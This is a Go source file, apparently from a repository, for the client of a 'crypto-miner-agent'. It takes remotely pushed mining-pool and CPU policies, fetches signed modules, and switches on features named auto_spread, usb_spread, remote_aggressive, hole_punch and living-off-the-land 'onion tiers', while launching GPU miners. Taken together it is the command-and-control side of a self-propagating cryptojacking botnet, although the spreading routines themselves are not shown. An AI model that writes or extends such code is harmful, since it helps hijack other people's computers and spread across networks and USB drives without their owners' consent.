Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Unified expandable panels with mermaid flows, ZIP export, connection tests, and Playwright smoke coverage.
310 lines
8.7 KiB
Go
310 lines
8.7 KiB
Go
package client
|
|
|
|
import (
|
|
"crypto/hmac"
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net/http"
|
|
"strings"
|
|
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
// FleetPolicyUpdate is pushed from the server without re-forge.
|
|
type FleetPolicyUpdate struct {
|
|
PushID string `json:"push_id,omitempty"`
|
|
MiningMode string `json:"mining_mode,omitempty"`
|
|
ScheduleStart string `json:"schedule_start,omitempty"`
|
|
ScheduleEnd string `json:"schedule_end,omitempty"`
|
|
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
|
PoolHost string `json:"pool_host,omitempty"`
|
|
PoolPort int `json:"pool_port,omitempty"`
|
|
PoolTLS *bool `json:"pool_tls,omitempty"`
|
|
PoolPass string `json:"pool_pass,omitempty"`
|
|
SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
|
|
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
|
}
|
|
|
|
// ModuleManifest matches server-signed feature packs.
|
|
type ModuleManifest struct {
|
|
Name string `json:"name"`
|
|
Version string `json:"version"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Summary string `json:"summary,omitempty"`
|
|
Description string `json:"description"`
|
|
Accent string `json:"accent,omitempty"`
|
|
Capabilities []string `json:"capabilities,omitempty"`
|
|
Features map[string]interface{} `json:"features"`
|
|
Signature string `json:"signature"`
|
|
}
|
|
|
|
func verifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
|
|
if fleetSecret == "" || m.Signature == "" {
|
|
return false
|
|
}
|
|
sig := m.Signature
|
|
m.Signature = ""
|
|
payload, err := json.Marshal(m)
|
|
if err != nil {
|
|
return false
|
|
}
|
|
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
|
mac.Write(payload)
|
|
expected := hex.EncodeToString(mac.Sum(nil))
|
|
return hmac.Equal([]byte(expected), []byte(sig))
|
|
}
|
|
|
|
func parseFleetPolicyUpdate(raw json.RawMessage) (FleetPolicyUpdate, error) {
|
|
var nested struct {
|
|
PushID string `json:"push_id"`
|
|
Policy json.RawMessage `json:"policy"`
|
|
}
|
|
if err := json.Unmarshal(raw, &nested); err != nil {
|
|
return FleetPolicyUpdate{}, err
|
|
}
|
|
if len(nested.Policy) > 0 {
|
|
var p FleetPolicyUpdate
|
|
if err := json.Unmarshal(nested.Policy, &p); err != nil {
|
|
return FleetPolicyUpdate{}, err
|
|
}
|
|
p.PushID = nested.PushID
|
|
return p, nil
|
|
}
|
|
var p FleetPolicyUpdate
|
|
if err := json.Unmarshal(raw, &p); err != nil {
|
|
return FleetPolicyUpdate{}, err
|
|
}
|
|
return p, nil
|
|
}
|
|
|
|
func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
|
if p.MiningMode != "" {
|
|
cfg.MiningMode = strings.TrimSpace(p.MiningMode)
|
|
}
|
|
if p.ScheduleStart != "" {
|
|
cfg.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
|
|
}
|
|
if p.ScheduleEnd != "" {
|
|
cfg.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
|
|
}
|
|
if p.MaxCPUUsagePct > 0 {
|
|
cfg.MaxCPUUsage = p.MaxCPUUsagePct
|
|
}
|
|
if p.PoolHost != "" {
|
|
cfg.PoolHost = strings.TrimSpace(p.PoolHost)
|
|
}
|
|
if p.PoolPort > 0 {
|
|
cfg.PoolPort = p.PoolPort
|
|
}
|
|
if p.PoolTLS != nil {
|
|
cfg.PoolTLS = *p.PoolTLS
|
|
}
|
|
if p.PoolPass != "" {
|
|
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
|
}
|
|
applySpreadTemperament(cfg, p.SpreadTemperament)
|
|
if len(p.SpreadPolicy) > 0 {
|
|
applySpreadPolicyFields(cfg, p.SpreadPolicy)
|
|
}
|
|
}
|
|
|
|
func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var policy struct {
|
|
HashrateGateSpreadMin int `json:"hashrate_gate_spread_min"`
|
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
|
AwsS3ShardRegion string `json:"aws_s3_shard_region"`
|
|
AwsCloudFrontDomain string `json:"aws_cloudfront_domain"`
|
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
|
}
|
|
if err := json.Unmarshal(raw, &policy); err != nil {
|
|
return
|
|
}
|
|
if policy.HashrateGateSpreadMin > 0 {
|
|
cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
|
|
}
|
|
if policy.HashrateGateHPS > 0 {
|
|
cfg.HashrateGateHPS = policy.HashrateGateHPS
|
|
}
|
|
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
|
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
|
if v := strings.TrimSpace(policy.AwsS3ShardRegion); v != "" {
|
|
cfg.AwsS3ShardRegion = v
|
|
}
|
|
if v := strings.TrimSpace(policy.AwsCloudFrontDomain); v != "" {
|
|
cfg.AwsCloudFrontDomain = v
|
|
}
|
|
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
|
}
|
|
|
|
func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|
if len(raw) == 0 || string(raw) == "null" {
|
|
return
|
|
}
|
|
var body struct {
|
|
TierOrder []string `json:"tier_order"`
|
|
}
|
|
if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
|
|
return
|
|
}
|
|
if cfg.LotlPolicyFromServer || cfg.ScoutMode {
|
|
cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
|
|
}
|
|
}
|
|
|
|
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
|
|
if v, ok := boolFeature(features, "remote_aggressive"); ok {
|
|
cfg.RemoteAggressive = v
|
|
}
|
|
if v, ok := boolFeature(features, "auto_spread"); ok {
|
|
cfg.AutoSpread = v
|
|
}
|
|
if v, ok := boolFeature(features, "usb_spread"); ok {
|
|
cfg.USBSpread = v
|
|
}
|
|
if v, ok := boolFeature(features, "hole_punch"); ok {
|
|
cfg.HolePunch = v
|
|
}
|
|
if v, ok := boolFeature(features, "mesh_p2p"); ok {
|
|
cfg.MeshP2P = v
|
|
}
|
|
if v, ok := boolFeature(features, "gpu_enabled"); ok {
|
|
cfg.GPUEnabled = v
|
|
}
|
|
}
|
|
|
|
func boolFeature(features map[string]interface{}, key string) (bool, bool) {
|
|
raw, ok := features[key]
|
|
if !ok {
|
|
return false, false
|
|
}
|
|
switch v := raw.(type) {
|
|
case bool:
|
|
return v, true
|
|
default:
|
|
return false, false
|
|
}
|
|
}
|
|
|
|
func (c *AgentClient) applyPolicyUpdate(raw json.RawMessage) {
|
|
p, err := parseFleetPolicyUpdate(raw)
|
|
if err != nil {
|
|
log.Printf("[agent] policy_update parse error: %v", err)
|
|
return
|
|
}
|
|
c.mu.Lock()
|
|
applyFleetPolicyUpdate(&c.cfg, p)
|
|
cfg := c.cfg
|
|
pushID := p.PushID
|
|
c.mu.Unlock()
|
|
if c.pool != nil {
|
|
c.pool.UpdateRuntimePolicy(cfg)
|
|
}
|
|
c.sendPolicyAck(pushID, cfg)
|
|
log.Printf("[agent] fleet policy applied (mode=%s cpu_cap=%d)", cfg.MiningMode, cfg.MaxCPUUsage)
|
|
}
|
|
|
|
func (c *AgentClient) sendPolicyAck(pushID string, cfg config.RuntimeConfig) {
|
|
payload, err := json.Marshal(map[string]interface{}{
|
|
"push_id": pushID,
|
|
"mining_mode": cfg.MiningMode,
|
|
"max_cpu_usage_pct": cfg.MaxCPUUsage,
|
|
"schedule_start": cfg.ScheduleStart,
|
|
"schedule_end": cfg.ScheduleEnd,
|
|
"pool_host": cfg.PoolHost,
|
|
"pool_port": cfg.PoolPort,
|
|
})
|
|
if err != nil {
|
|
return
|
|
}
|
|
_ = c.write(Message{Type: "policy_ack", Payload: payload})
|
|
}
|
|
|
|
func (c *AgentClient) fetchAndApplyModule(moduleName string) error {
|
|
moduleName = strings.TrimSpace(moduleName)
|
|
if moduleName == "" {
|
|
return fmt.Errorf("module name required")
|
|
}
|
|
if c.cfg.FleetSecret == "" {
|
|
return fmt.Errorf("fleet secret not configured")
|
|
}
|
|
base, err := c.apiBaseURL(c.cfg.ServerURL)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
url := base + "/agent/module/" + moduleName
|
|
req, err := http.NewRequest(http.MethodGet, url, nil)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
|
resp, err := http.DefaultClient.Do(req)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
defer resp.Body.Close()
|
|
body, err := io.ReadAll(resp.Body)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if resp.StatusCode != http.StatusOK {
|
|
return fmt.Errorf("module fetch %s: %s", resp.Status, strings.TrimSpace(string(body)))
|
|
}
|
|
var manifest ModuleManifest
|
|
if err := json.Unmarshal(body, &manifest); err != nil {
|
|
return err
|
|
}
|
|
if !verifyModuleSignature(manifest, c.cfg.FleetSecret) {
|
|
return fmt.Errorf("module signature invalid")
|
|
}
|
|
c.mu.Lock()
|
|
applyModuleFeatures(&c.cfg, manifest.Features)
|
|
cfg := c.cfg
|
|
c.mu.Unlock()
|
|
|
|
if c.pool != nil {
|
|
c.pool.UpdateRuntimePolicy(cfg)
|
|
}
|
|
c.startGPUMinerIfNeeded()
|
|
|
|
c.reportCapabilitiesUpdate()
|
|
log.Printf("[agent] module %q applied (%s)", manifest.Name, manifest.Description)
|
|
return nil
|
|
}
|
|
|
|
func (c *AgentClient) startGPUMinerIfNeeded() {
|
|
c.mu.Lock()
|
|
defer c.mu.Unlock()
|
|
if !c.cfg.GPUEnabled || c.gpuMiner != nil {
|
|
return
|
|
}
|
|
if gm := newGPUMiner(c.cfg); gm != nil {
|
|
c.gpuMiner = gm
|
|
go gm.Start()
|
|
}
|
|
}
|
|
|
|
func (c *AgentClient) reportCapabilitiesUpdate() {
|
|
c.mu.Lock()
|
|
cfg := c.cfg
|
|
c.mu.Unlock()
|
|
payload, _ := json.Marshal(map[string]bool{
|
|
"hole_punch": cfg.HolePunch,
|
|
"remote_aggressive": cfg.RemoteAggressive,
|
|
"mesh_p2p": cfg.MeshP2P,
|
|
"auto_spread": cfg.AutoSpread,
|
|
"ai_enabled": cfg.AIEnabled,
|
|
"usb_spread": cfg.USBSpread,
|
|
})
|
|
_ = c.write(Message{Type: "capabilities_update", Payload: payload})
|
|
}
|